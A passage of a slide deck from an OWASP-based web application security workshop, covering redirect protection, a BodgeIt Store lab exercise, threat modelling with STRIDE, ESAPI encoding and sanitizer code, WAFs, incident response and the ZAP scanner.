  • 127. Avoid using redirects and forwards as much as you can Don’t involve user parameters in defining the target URL If you ‘must’ involve user parameters, then either Use server side mapping to translate choice provided to user with actual target page Validate each parameter to ensure its valid and authorized for the current user Use a secure Redirect API e.g. ESAPI SecurityWrapperResponse.sendRedirect(URL) Some thoughts about protecting Forwards Call the access controller to make sure the user is authorized before you perform the forward Next best is to make sure that users who can access the original page are authorized to access the target page Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • 128. Attacking the BodgeIT Store
  • 129. Source: http://code.google.com/p/bodgeit/
  • 130. Download latest version http://code.google.com/p/bodgeit/downloads/list Unzip bodgeit.war into /webapps of an existing Serlvet Engine e.g. Tomcat, Jetty, … Launch your Server Browse to the BodgeIt Store e.g. http://localhost:8080/bodgeit Source: http://code.google.com/p/bodgeit/
  • 131. Timebox: 60 Minutes Try to pass as many challenges as possible! No Scanners! No Cheating! No Decompilers! Source: http://code.google.com/p/bodgeit/
  • 132. Secure Software Development Lifecycle
  • 133. Analysis / Functional Design Identify (better: Reject) potentially insecure requirements Technical Design Consider Security Aspects when designing a solution Create a Threat Model of you Applications
  • 134. Development / Realization Know and understand common vulnerabilities Know preventive measures for each vulnerability Write Clean Code (=less likely to contain a flaw) Write Unit Tests (=less likely to miss an existing flaw) Perform Security Scans on source code level Perform Code Reviews Most importantly… Never blindly trust any user input!
  • 135. Test Perform Penetration Tests for new functionality Have a 3rd party perform regular Pentests Support Pentests with Security Scanners Operations / Maintenance Install a Web Application Firewall Establish an Incident Response Process
  • 136. Maturity Levels for each Security Practice 0 = Unfulfilled activities 1 = Initial understanding and ad hoc provision 2 = Increased efficiency/effectvieness 3 = Comprehensive mastery Source: www.opensamm.org/downloads/SAMM-1.0.pdf
  • 137. Source: www.opensamm.org/downloads/SAMM-1.0.pdf
  • 138. Repeatable Process to find all and address all threats to you application Allows you to predicably and effectively find security problems early in the development process Help to produce software that is secure by design Diagram Identify Threats Mitigate Validate Source: http://download.microsoft.com/download/9/3/5/935520EC-D9E2-413E-BEA7-0B865A79B18C/Introduction_to_Threat_Modeling.ppsx
  • 139. Go to the White Board Use Data Flow Diagrams Include Processes, Data Stores, Data Flows Include Trust Boundaries = Points/Surfaces where an attacker can interject Diagram Levels Validate High Level Scenario Low Level Subcomponents More Details if needed Diagram Identify Threats Mitigate Source: http://download.microsoft.com/download/9/3/5/935520EC-D9E2-413E-BEA7-0B865A79B18C/Introduction_to_Threat_Modeling.ppsx
  • 140. External Entity The external entity shape is used to represent any entity outside the application that interacts with the application via an entry point. Process The process shape represents a task that handles data within the application. The task may process the data or perform an action based on the data. Source: https://www.owasp.org/images/2/2e/OWASP_Code_Review_Guide-V1_1.pdf
  • 141. Multiple Process The multiple process shape is used to present a collection of subprocesses. The multiple process can be broken down into its subprocesses in another DFD. Data Store The data store shape is used to represent locations where data is stored. Data stores do not modify the data they only store data. Source: https://www.owasp.org/images/2/2e/OWASP_Code_Review_Guide-V1_1.pdf
  • 142. Data Flow The data flow shape represents data movement within the application. The direction of the data movement is represented by the arrow. Privilege Boundary The privilege boundary shape is used to represent the change of privilege levels as the data flows through the application. Source: https://www.owasp.org/images/2/2e/OWASP_Code_Review_Guide-V1_1.pdf
  • 143. Source: https://www.owasp.org/images/2/2e/OWASP_Code_Review_Guide-V1_1.pdf
  • 144. Use STRIDE to step through the diagram elements Spoofing Tampering Repudiation Information Disclosure Denial of Service Elevation of Privilege Diagram Identify Threats Mitigate Validate Source: http://download.microsoft.com/download/9/3/5/935520EC-D9E2-413E-BEA7-0B865A79B18C/Introduction_to_Threat_Modeling.ppsx
  • 145. Source: https://www.owasp.org/images/2/2e/OWASP_Code_Review_Guide-V1_1.pdf
  • 146. Source: https://www.owasp.org/images/2/2e/OWASP_Code_Review_Guide-V1_1.pdf
  • 147. The Point of Threat Modelling Address or alleviate Problems Protect Customers Design Secure Software Addressing Threats Validate Redesign to Eliminate Apply Standard Mitigations Invent new Mitigations (Avoid!) Access Vulnerability in Design Diagram Identify Threats Mitigate Source: http://download.microsoft.com/download/9/3/5/935520EC-D9E2-413E-BEA7-0B865A79B18C/Introduction_to_Threat_Modeling.ppsx
  • 148. Validate whole Threat Model Diagram matches final Code? At least STRIDE exists per Element that touches a Trust Boundary? Is each Threat mitigated? Are Mitigations done right? Diagram Identify Threats Mitigate Validate Source: http://download.microsoft.com/download/9/3/5/935520EC-D9E2-413E-BEA7-0B865A79B18C/Introduction_to_Threat_Modeling.ppsx
  • 149. Custom Enterprise Web Application OWASP Enterprise Security API Authenticator User AccessController AccessReferenceMap Validator Encoder HTTPUtilities Encryptor EncryptedProperties Randomizer Exception Handling Logger IntrusionDetector SecurityConfiguration Your Existing Enterprise Services or Libraries
  • 150. Presentation User Interface Business Web Service Database Integration User File System Set Character Set Encode For HTML Global Validate Canonicalize Specific Validate Sanitize Canonicalize Validate Source: http://code.google.com/p/owasp-esapi-java/downloads/detail?name=OWASP%20ESAPI.ppt
  • 151. HTML Element Content (e.g., <div> some text to display </div> ) HTML Attribute Values (e.g., <input name='person' type='TEXT' value='defaultValue'> ) HTML Style Property Values (e.g., .pdiv a:hover {color: red; text-decoration: underline} ) #1: ( &, <, >, " )  &entity; ( ', / )  &#xHH; ESAPI: encodeForHTML() #2: All non-alphanumeric < 256  &#xHH ESAPI: encodeForHTMLAttribute() #3: All non-alphanumeric < 256  xHH ESAPI: encodeForJavaScript() Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx JavaScript Data (e.g., <script> some javascript </script> ) URI Attribute Values (e.g., <a href="javascript:toggle('lesson')" ) #4: All non-alphanumeric < 256  HH ESAPI: encodeForCSS() #5: All non-alphanumeric < 256  %HH ESAPI: encodeForURL()
  • 152. Maps internal object references to indirect references that are safe to disclose publicly Prevents A4 Insecure Direct Object Reference Side Benefit of Random Reference Maps if used consequently and on per-user basis Makes guessing valid references impossible Prevents A5 Cross Site Request Forgery http://myapp?file=report4711.xls http://myapp?file=8jK65l http://myapp?file=report4712.xls http://myapp?file=T5d8ui Random Access Reference Map report4711.xls report4712.xls Source: http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/AccessReferenceMap.html
  • 153. Set fileSet = new HashSet(); fileSet.addAll(...); // Add direct references, e.g. Files AccessReferenceMap map = new RandomAccessReferenceMap(fileSet); String indirectRef = map.getIndirectReference(file1); String href = "http://myapp?file=" + indirectRef); // ... Somewhere else in the code String indirectRef = request.getParameter("file"); File file = (File)map.getDirectReference(indirectRef); Source: http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/AccessReferenceMap.html
  • 154. Using a simple prepackaged policy private String sanitizeHtml(String html) { PolicyFactory policy = Sanitizers.FORMATTING.and(Sanitizers.BLOCKS) Defining a customized policy .and(Sanitizers.LINKS); return policy.sanitize(html); } private static final PolicyFactory BASIC_FORMATTING_WITH_LINKS_POLICY = new HtmlPolicyBuilder() .allowCommonInlineFormattingElements().allowCommonBlockElements() .allowAttributes("face", "color", "size", "style", "align").onElements("font") .allowAttributes("style").onElements("div", "span").allowElements("a") .allowAttributes("href").onElements("a").allowStandardUrlProtocols() .requireRelNofollowOnLinks().toFactory();
  • 155. Powerful and easy-to-use Java security framework that performs authentication authorization cryptography session management
  • 156. Network Security Server Firewall IDS IPS Web App Malicious Requests exploit vulnerabilities and compromise application
  • 157. Network Security Server Vulnerabilities might be insufficiently fixed Firewall IDS IPS Web App Blackbox Penetration Test Scanner Fix + Patch Application Web App Sourcecode Code Analysis Whitebox Scanner New security holes might be introduced during ongoing development and bugfixing!
  • 158. Network Security Server Sometimes rejects legitimate requests („False Positives“) or fails to recognize illegal requests („False Negative“) Firewall IDS IPS Web App WAF Blacklist Whitelist Guidelines Ruleset Heuristics Defines legal/ illegal Requests Rejects illegal requests
  • 159. User/Source Event Detection Reporting Assessment Descision Information Collection First Assessment Relevant? Second Assessment Relevant? False Positive Incident under control? Forensic Analysis Communications Later Response Activate Crisis Team Crisis Activities Immediate Response Review Improve Detection Reporting Yes No Operations Support No Yes No Yes Response Information Security Incident Response Team Crisis Organization No Yes
  • 160. An Open Source Blackbox Security Scanner
  • 161. An easy to use webapp pentest tool Completely free and open source An OWASP flagship project Ideal for beginners… …but also used by professionals Ideal for automated security tests Becoming a framework for advanced testing Source: https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
  • 162. No paid for „Pro“ version Involvement actively encouraged Cross platform (Java) Easy to use Easy to install Fully documented Work well with other tools Reuse well regarded components Source: https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
  • 163. First released September 2010 Current version 2.3.1 released in May 2014 downloaded 70.000+ times Translated into 20+ languages Intended for Developers… …mostly used by Professional Pentesters Source: https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
  • 164. Intercepting Proxy Active and Passive Scanners Spiders (for HTML and AJAX) Report Generation Brute Force (using OWASP DirBuster code) Fuzzing (using fuzzdb & OWASP JBroFuzz) WebSocket Support Session Awareness Integrated Addon-Marketplace API (clients exist for Java, Python, Node.js, PHP) Scripting (JS, Jython, JRuby, Zest) Source: https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
  • 165. Source: https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
  • 166. A1: Injection A3: Cross-Site Scripting (XSS) A2: Broken Authentication and Session Management A4: Insecure Direct Object References A8: Cross Site Request Forgery (CSRF) A5: Security Misconfiguration A6: Sensitive Data Exposure A7: Missing Function Level Action Control A9: Using Known Vulnerable Components A10: Unvalidated Redirects and Forwards Ex-A6/2007: Information Leakage and Improper Error Handling
  • 167. Kali Linux (fka Backtrack) Samurai Web Testing Framework OWASP Live CD OWASP BrokenWeb Apps VM
  • 168. Kali Linux PwnPi Source: http://pwnpi.sourceforge.net/index.html_q=screenshots.html http://crushbeercrushcode.org/2013/03/developing-the-rogue-pi/
  • 169. OWASP Website http://owasp.org Appsec Tutorial Series http://www.youtube.com/user/AppsecTutorialSeries ZAP http://code.google.com/p/zaproxy Java HTML Sanitizer https://code.google.com/p/owasp-java-html-sanitizer/ Enterprise Security API http://code.google.com/p/owasp-esapi-java/ OpenSAMM http://www.opensamm.org/
  • 170. CWE/SANS Top 25 Programming Errors http://cwe.mitre.org/top25/ BodgeIt Vulnerable Web Application http://code.google.com/p/bodgeit/ Kali Linux http://www.kali.org/ Samurai Web Testing Framework http://samurai.inguardians.com PwnPi http://pwnpi.sourceforge.net/ Juice-Shop https://github.com/bkimminich/juice-shop
  • 171. Follow the Doodle link in your invitation email Please provide at least a star-rating Additional feedback is highly appreciated What did you like best about the workshop? What could have been better? What didn‘t you like at all?
  • 172. Thank you for your attention!
  • 173. The background artwork shows the self-image of villain AI Shodan from the cyberpunk-RPG video games System Shock and System Shock 2 ©1994/1999 Looking Glass Studios/Irrational Games Background image based on „Digital Shodan“ created by sephiroth-kmfdm Source: http://sephiroth-kmfdm.deviantart.com/art/Digital- Shodan-56013493 Recolorized using Corel PSP X5, Paint.Net and IrfanView